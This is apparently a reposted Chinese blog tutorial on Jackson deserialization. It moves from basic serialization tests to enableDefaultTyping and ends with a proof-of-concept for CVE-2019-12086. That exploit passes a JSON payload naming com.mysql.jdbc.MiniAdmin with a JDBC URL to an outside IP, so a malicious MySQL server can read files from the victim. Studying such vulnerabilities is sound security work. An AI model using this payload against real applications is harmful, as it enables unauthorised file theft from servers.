jackson和fastjson差不多,都是用来更方便的处理json
国人用fastjson,老外用jackson/gson比较多
环境搭建:
pom.xml:
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>5.1.25</version>
</dependency> <dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency> <dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>RELEASE</version>
<scope>compile</scope>
</dependency>
Student.java:
package com.test.JackSonTest; public class Student{
private String name;
private Integer age;
private Teacher teacher; public Student(){
System.out.println("student构造方法被调用");
}; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public Integer getAge() {
return age;
} public void setAge(Integer age) {
this.age = age;
} public Teacher getTeacher() {
return teacher;
} public void setTeacher(Teacher teacher) {
this.teacher = teacher;
} @Override
public String toString() {
return "Student{" +
"name='" + name + '\'' +
", age=" + age +
", teacher=" + teacher +
'}';
}
}
Teacher.java:
package com.test.JackSonTest; public class Teacher{
private String name;
private int age; public Teacher(){
System.out.println("teacher构造方法被调用");
};
public Teacher(String name,int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} @Override
public String toString() {
return "Teacher{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
测试类:
@Test
public void test1() throws IOException {
//序列化 对象转json字符串数据
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化,json字符串数据转对象
String jsonResult = "{\"name\":\"jack\",\"age\":20,\"teacher\":{\"name\":\"lua\",\"age\":33}}";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}
运行输出:
student构造方法被调用
{"name":"jack","age":20,"teacher":{"name":"lua","age":33}}
student构造方法被调用
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
发现在反序列化(json转对象)的时候,优先调用构造方法,如果反序列化的json数据中的类继承了其他类,会自动调用其父类无参构造方法
Jackson打印对象类型:
@Test
public void test2() throws IOException {
//序列化 对象转json字符串
Student student = new Student();
student.setName("jack");
student.setAge(20);
student.setTeacher(new Teacher("lua",33));
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串时,在值上打印出对象类型
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
String result = objectMapper.writeValueAsString(student);
System.out.println(result);
//反序列化 json字符串转对象
String jsonResult = "[\"com.test.JackSonTest.Student\",{\"name\":\"jack\",\"age\":20,\"teacher\":[\"com.test.JackSonTest.Teacher\",{\"name\":\"lua\",\"age\":33}]}]";
Student stu = objectMapper.readValue(jsonResult, Student.class);
System.out.println(stu);
}
运行输出:
student构造方法被调用
["com.test.JackSonTest.Student",{"name":"jack","age":20,"teacher":["com.test.JackSonTest.Teacher",{"name":"lua","age":33}]}]
student构造方法被调用
teacher构造方法被调用
Student{name='jack', age=20, teacher=Teacher{name='lua', age=33}}
这个很重要,jackson的很多漏洞跟他息息相关:
通过上面的代码可以发现当开启enableDefaultTyping的时候,json字符串中的类会被反序列化.
继续编写jackson测试:
test_poc.java:
package com.test.JackSonTest; public class test_poc {
public test_poc(){};
public test_poc(String name){
System.out.println(name);
}
}
通过上面的代码,发现存在构造方法,一个无参,另一个有参数构造方法
jackson反序列化:
测试类:
@Test
public void test3() throws IOException {
ObjectMapper objectMapper = new ObjectMapper();
//序列化JSON串时,在值上打印出对象类型
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
//自定义构造
String jsonResult = "[\"com.test.JackSonTest.test_poc\",\"test\"]";
objectMapper.readValue(jsonResult,test_poc.class);
}
发现在[]中设置value,相当于是为构造方法添加新的参数
通过前面的前置知识铺垫,jackson了解到的相关基础:(1)如果想使用[]去完成反序列化攻击,必须要开启enableDefaultTyping,获取到对象类型 (2)反序列化的时候自动调用对象构造方法及父类构造方法 (3)有参构造方法不需要设定值,不像setName/getName那样,需要"name":"test",只要[类,值]即可完成填充
CVE-2019-12086是一个文件读取漏洞,直接查看他的利用链:利用环境在文章第一行已创建:
漏洞文件在:
repository/mysql/mysql-connector-java/5.1.25/mysql-connector-java-5.1.25.jar!/com/mysql/jdbc/MiniAdmin.class:
通过反射加载跟进去:
问题代码:
public MiniAdmin(String jdbcUrl) throws SQLException {
this(jdbcUrl, new Properties());
} public MiniAdmin(String jdbcUrl, Properties props) throws SQLException {
this.conn = (Connection)((Connection)(new Driver()).connect(jdbcUrl, props));
}
前面我们已经学习了足够多的前置知识,这里会连接jdbcUrl,如果jdbcUrl可控,会发送链接,正好mysql8以下存在任意文件读取...下面直接构造exp:
attackerJdbc.java:
package com.test.JackSonTest; import com.fasterxml.jackson.databind.ObjectMapper;
import com.mysql.jdbc.MiniAdmin; import java.io.IOException;
import java.sql.SQLException; public class attackJdbc {
public static void main(String[] args) throws ClassNotFoundException, IOException, SQLException {
ObjectMapper objectMapper =new ObjectMapper();
Class.forName("com.mysql.jdbc.MiniAdmin");
//一定要开启enableDefaultTyping
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
//通过前面的知识点学习知道,如果这样构造,就会自动给MiniAdmin类的有参构造方法传入string类型数据,数据内容为:jdbc:mysql://119.45.227.86:123/
String json = "[\"com.mysql.jdbc.MiniAdmin\",\"jdbc:mysql://119.45.227.86:123/\"]";
objectMapper.readValue(json,Object.class);
}
}
不理解部分查看注释:
运行代码:
这个漏洞相对简单,所以就不跟底层机制了.
如果后续要找相关利用链,也可以用这个方法 *** 作下..
漏洞学习参考:
https://b1ue.cn/archives/189.html
https://www.cnblogs.com/xinzhao/p/11005419.html
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)